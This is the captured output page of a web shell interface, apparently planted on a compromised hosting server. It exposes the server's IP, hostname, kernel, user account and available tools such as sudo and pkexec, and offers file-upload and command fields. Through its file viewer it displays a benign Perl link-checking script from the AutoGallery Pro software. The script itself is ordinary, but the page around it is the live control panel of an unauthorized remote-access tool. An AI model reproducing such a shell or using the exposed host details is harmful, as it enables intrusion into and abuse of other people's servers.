403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/linkcheck
#!/usr/bin/perl
#####################################
##  AutoGallery Pro v2.1.x         ##
######################################################
##  linkcheck - command line link cheking tool      ##
######################################################

$CDIR = '/home/soft/cgi-bin/agp';               ## The full directory path to your AutoGallery Pro Installation

########################################################################
##  Removing the link back to JMB Software is a license violation.    ##
##  Altering or removing any of the code that is responsible, in      ##
##  any way, for generating that link is strictly forbidden.          ##
##  Anyone violating the above policy will have their license         ##
##  terminated on the spot.  Do not remove that link - ever.          ##
########################################################################

$CONFIG = $ARGV[0];
$DAEMON = $ARGV[1];

if( $DAEMON eq '-d' )
{
    close STDIN;
    close STDOUT;
    close STDERR;
}

chdir($CDIR) || die "Could not change directory to $CDIR: $!";

########################################################################
##                         INITILIZATION                              ##

$SIG{INT}   = \&handleInterrupt;
$START      = 0;
$STOP       = 0;
$CHECKED    = 0;
$EXCEPTIONS = 0;
$NOTHING    = 0;
$REQUEUE    = 0;
$DELETE     = 0;
$BANNED     = 0;
@DBS        = ();

require 'agp.pl';

if( -e "$DDIR/lcheck/$CONFIG.pid" )
{
    my $oldpid = freadline("$DDIR/lcheck/$CONFIG.pid");
    kill(9, $oldpid);
    fwrite("$DDIR/lcheck/$CONFIG.pid", $$);
}
else
{
    fwrite("$DDIR/lcheck/$CONFIG.pid", $$);
}

$STORE_MAX_PICS = $MAXIMUM_PICS;
$STORE_MIN_PICS = $MINIMUM_PICS;
$STORE_IM_SIZE  = $IMAGE_SIZE;
$STORE_IM_EXTS  = $IMAGE_EXTENSIONS;
$TPL{'CGI_URL'} = $CGI_URL;


if( !-e "$DDIR/lcheck/$CONFIG.dat" )
{
    handleError('NO_VARIABLES');
}

require "$DDIR/lcheck/$CONFIG.dat";
require "$DDIR/lcheck.dat";

$RDIR = $REPORT_HTML ? $HTML_DIR : $DDIR;

if( $GENERATE_REPORT )
{
    if( -e "$RDIR/$CONFIG.html" )
    {
        my $t_name = time();
        rename("$RDIR/$CONFIG.html", "$RDIR/$CONFIG-$t_name.html");
    }

    fwrite("$RDIR/$CONFIG.html", $HEAD);
}


setupCheck(\@DBS);

##                        END INITILIZATION                           ##
########################################################################


my $post;

$START = now();


for( @DBS )
{
    my $db = $_;

    for( @{freadall("$DDIR/dbs/$db")} )
    {
        my %results;
        my $return;
        my $pid;
        my $line = $_;
        my @pd   = split(/\|/, $line);

        resetVars();

        $pid = freadline("$DDIR/lcheck/$CONFIG.pid");

        if( $pid != $$ )
        {
            exit;
        }

        $TPL{'POST_ID'}     = $pd[0];
        $TPL{'GALLERY_URL'} = $pd[2];
        $TPL{'DATABASE'}    = $db;

        $FRM{'cat'}  = $pd[7];
        $FRM{'rurl'} = $pd[4];
        $return = analyzeGallery($pd[2], \%results);
        $CHECKED++;


        ## Bad status code or connection error
        if( !$return )
        {
            if( $results{'CODE'} )
            {
                processGallery(\@pd, $HANDLE_STATUS);
            }
            else
            {
                processGallery(\@pd, $HANDLE_CONNECT);
            }
            
            $TPL{'MESSAGE'} = $results{'ERROR'};

            if( $GENERATE_REPORT )
            {
                addRow(\@pd);
            }

            next;
        }  ## End bad status or connect error




        ## Check for a reciprocal link
        if( $USE_CHECK_RECIP )
        {
            if( $results{'RECIP_ERROR'} )
            {
                if( $pd[4] )
                {
                    processGallery(\@pd, 'NONE');

                    $TPL{'MESSAGE'} = "Bad Recip URL: $results{'RECIP_ERROR'}";

                    if( $GENERATE_REPORT )
                    {
                        addRow(\@pd);
                    }

                    next;
                }
            }
            else
            {
                if( !$results{'RECIP_LINK'} )
                {
                    processGallery(\@pd, $HANDLE_RECIP);
                    $TPL{'MESSAGE'} = "No reciprocal link";

                    if( $GENERATE_REPORT )
                    {
                        addRow(\@pd);
                    }

                    next;
                }
            }
        }  ## End USE_CHECK_RECIP



        ## Check for banned HTML
        if( $USE_BANNED_HTML && $results{'BANNED_HTML'} )
        {
            processGallery(\@pd, $HANDLE_HTML);
            $TPL{'MESSAGE'} = "Banned HTML Found";

            if( $GENERATE_REPORT )
            {
                addRow(\@pd);
            }

            next;
        }  ## End USE_BANNED_HTML



        ## Check for excessive links
        if( $USE_COUNT_LINKS )
        {
            if( $results{'BANNER_LINKS'} + $results{'TEXT_LINKS'} > $MAXIMUM_LINKS )
            {
                processGallery(\@pd, $HANDLE_LINKS);
                $TPL{'MESSAGE'} = "Excessive Links: " . ($results{'BANNER_LINKS'} + $results{'TEXT_LINKS'});

                if( $GENERATE_REPORT )
                {
                    addRow(\@pd);
                }

                next;
            }
        }
    }
}


$STOP = now();


$TPL{'EXAMINED'}   = $CHECKED;
$TPL{'EXCEPTIONS'} = $EXCEPTIONS;
$TPL{'NOTHING'}    = $NOTHING;
$TPL{'REQUEUE'}    = $REQUEUE;
$TPL{'DELETE'}     = $DELETE;
$TPL{'BANNED'}     = $BANNED;
$TPL{'START'}      = fdate($DATE_FORMAT, $START) . ' ' . ftime($TIME_FORMAT, $START);
$TPL{'STOP'}       = fdate($DATE_FORMAT, $STOP) . ' ' .  ftime($TIME_FORMAT, $STOP);
$TPL{'RUNTIME'}    = timetostr(int($STOP-$START));


if( $GENERATE_REPORT )
{
    fappend("$RDIR/$CONFIG.html", stringParseRet($FOOT));
}


if( $EMAIL_ADMIN )
{
    my $msg;

    $msg = "To: $ADMIN_EMAIL\n" .
           "From: $ADMIN_EMAIL\n" .
           "Subject: Linkchecker Completed\n\n" .
           "Config ID  : $CONFIG\n" .
           "Start Time : #%START%#\n" .
           "End Time   : #%STOP%#\n" .
           "Run Time   : #%RUNTIME%#\n" .
           "Examined   : #%EXAMINED%#\n" .
           "Exceptions : #%EXCEPTIONS%#\n" .
           "Re-Queued  : #%REQUEUE%#\n" .
           "Deleted    : #%DELETE%#\n" .
           "Banned     : #%BANNED%#\n\n";

    if( $GENERATE_REPORT )
    {
        if( $REPORT_HTML )
        {
            $msg .= "Results can be viewed at:\n" .
                    "$HTML_URL/$CONFIG.html";
        }
        else
        {
            $msg .= "Results can be found in the $CONFIG.html file in the data directory";
        }
    }

    mail($SENDMAIL, \$msg, \%TPL);
}


if( $REBUILD_PAGES )
{
    fwrite("$DDIR/autoapp", time);

    doArchive();
    buildMain();
    buildArchives();
}

fremove("$DDIR/lcheck/$CONFIG.pid");


sleep(10);


#########################################################################################
#########################################################################################



sub resetVars
{
    $MAXIMUM_PICS     = $STORE_MAX_PICS;
    $MINIMUM_PICS     = $STORE_MIN_PICS;
    $IMAGE_SIZE       = $STORE_IM_SIZE;
    $IMAGE_EXTENSIONS = $STORE_IM_EXTS;
}



## Add a row to the report file
sub addRow
{
    $TPL{'COLOR'} = ($TPL{'COLOR'} eq '#ececec') ? '#cccccc' : '#ececec';

    fappend("$RDIR/$CONFIG.html", stringParseRet($ROW));
}




## Decide what to do with a gallery
sub processGallery
{
    my($post, $handle) = @_;

    $EXCEPTIONS++;

    if( $handle eq 'NONE' )
    {
        $NOTHING++;

        $TPL{'OPTION'} = 'Remove Now</a>';
    }
    elsif( $handle eq 'QUEUE' )
    {
        $REQUEUE++;

        ## move gallery back into the queue
        dbdelete("$DDIR/dbs/$TPL{'DATABASE'}", $post->[0]);
        dbinsert("$DDIR/dbs/queue", @{$post});

        $TPL{'OPTION'} = '</a><font color="green">Re-Queued</font>';
    }
    elsif( $handle eq 'REMOVE' )
    {
        $DELETE++;

        dbdelete("$DDIR/dbs/$TPL{'DATABASE'}", $post->[0]);
        unlink("$THUMB_DIR/$post->[0].jpg");

        $TPL{'OPTION'} = '</a><font color="red">Deleted</font>';
    }
    else
    {
        $BANNED++;

        dbdelete("$DDIR/dbs/$TPL{'DATABASE'}", $post->[0]);
        unlink("$THUMB_DIR/$post->[0].jpg");

        $TPL{'OPTION'} = '</a><font color="red">Banned/Deleted</font>';

        if( $USE_BAN_DOMAIN )
        {
            $post->[5] = getDomain($post->[2]);
        }

        $DEL = "\n";
        dbinsert("$DDIR/dbs/url.ban", $post->[5]);
        dbinsert("$DDIR/dbs/email.ban", $post->[1]);
        $DEL = '|';
    }
}



## Get the domain from a URL
sub getDomain
{
    my $url = shift;

    $url =~ m~http://([^/]+)~gi;

    return $1;
}



## Process interrupt signal
sub handleInterrupt
{
    $STOP = now();

    $TPL{'EXAMINED'}   = "$CHECKED (incomplete)";
    $TPL{'EXCEPTIONS'} = $EXCEPTIONS;
    $TPL{'NOTHING'}    = $NOTHING;
    $TPL{'REQUEUE'}    = $REQUEUE;
    $TPL{'DELETE'}     = $DELETE;
    $TPL{'BANNED'}     = $BANNED;
    $TPL{'START'}      = fdate($DATE_FORMAT, $START) . ' ' . ftime($TIME_FORMAT, $START);
    $TPL{'STOP'}       = fdate($DATE_FORMAT, $STOP) . ' ' .  ftime($TIME_FORMAT, $STOP);
    $TPL{'RUNTIME'}    = timetostr(int($STOP-$START));

    if( $GENERATE_REPORT )
    {
        fappend("$RDIR/$CONFIG.html", stringParseRet($FOOT));
    }

    fremove("$DDIR/lcheck/$CONFIG.pid");

    exit;
}



## Handle any errors encountered
sub handleError
{
    my $key   = shift;
    my %codes = (
                  'NO_VARIABLES' => 'Please run the linkcheck configuration function in the administrative interface'
                );

    print "\n*** ERROR ***\n";
    print "$codes{$key}\n\n";
    exit;
}



sub setupCheck
{
    my $dbs = shift;

    if( $TO_CHECK eq 'ALL' )
    {
        push(@{$dbs}, 'queue', 'current', map( getDBName($_), split(/,/, $CATEGORIES) ) );
    }
    elsif( $TO_CHECK eq 'QUEUE' )
    {
        push(@{$dbs}, 'queue');
    }
    elsif( $TO_CHECK eq 'CURRENT' )
    {
        push(@{$dbs}, 'current');
    }
    else
    {
        push(@{$dbs}, map( getDBName($_), split(/,/, $CATEGORIES) ) );
    }
}



sub stringParseRet
{
    my $html = shift;
    $html =~ s/#%(.*?)%#/$TPL{$1}/gise;
    return $html;
}

Youez - 2016 - github.com/yon3zu
LinuXploit